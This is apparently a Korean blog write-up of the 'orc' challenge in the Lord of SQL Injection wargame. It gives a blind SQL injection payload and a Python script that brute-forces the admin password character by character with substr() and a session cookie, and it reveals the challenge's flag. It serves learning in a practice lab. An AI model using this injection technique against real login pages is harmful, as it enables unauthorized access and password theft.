id는 admin이고 result['pw']값을 찾으면 공격에 성공할 수 있다.
1. pw 길이 구하기
?pw='or id='admin' and length(pw)=num%23
num에 1부터 쭉 대입해보니 8을 넣었을 때 아래와 같이 Hello admin이라고 떴다.
따라서 길이는 8이다.
이 페이지 개발자 도구를 이용해 cookie를 구할 수 있었다.
2. pw 구하기
import requests as req
cookies = {'PHPSESSID':'bs7b7ns36rgq35equ867cv1c7a'}
flag = ""
for i in range(1, 9):
for j in range(48, 128):
char = chr(j)
url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='or id='admin' and substr(pw,{i},1)='{char}' -- "
res = req.get(url=url, cookies=cookies)
if 'Hello admin' in res.text:
flag += char
print("============================")
print(f"flag = {flag}")
print("============================")
입력 가능한 모든 문자를 for문을 통해 자동화 검사를 해주었다.
코드를 실행한 결과는 다음과 같다.
따라서 flag는 095A9852이거나, 095a9852이다.
?pw=095a9852 일 때 다음과 같이 공격에 성공할 수 있었다.
참고 자료 : laoching.tistory.com/101
'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] darkelf (0) | 2022.05.28 |
---|---|
[Lord of SQL Injection] wolfman (0) | 2022.05.21 |
[Lord of SQL Injection] goblin (0) | 2022.05.07 |
[Lord of SQL Injection] cobolt (0) | 2022.04.29 |
[Lord of SQL Injection] gremlin (0) | 2022.04.02 |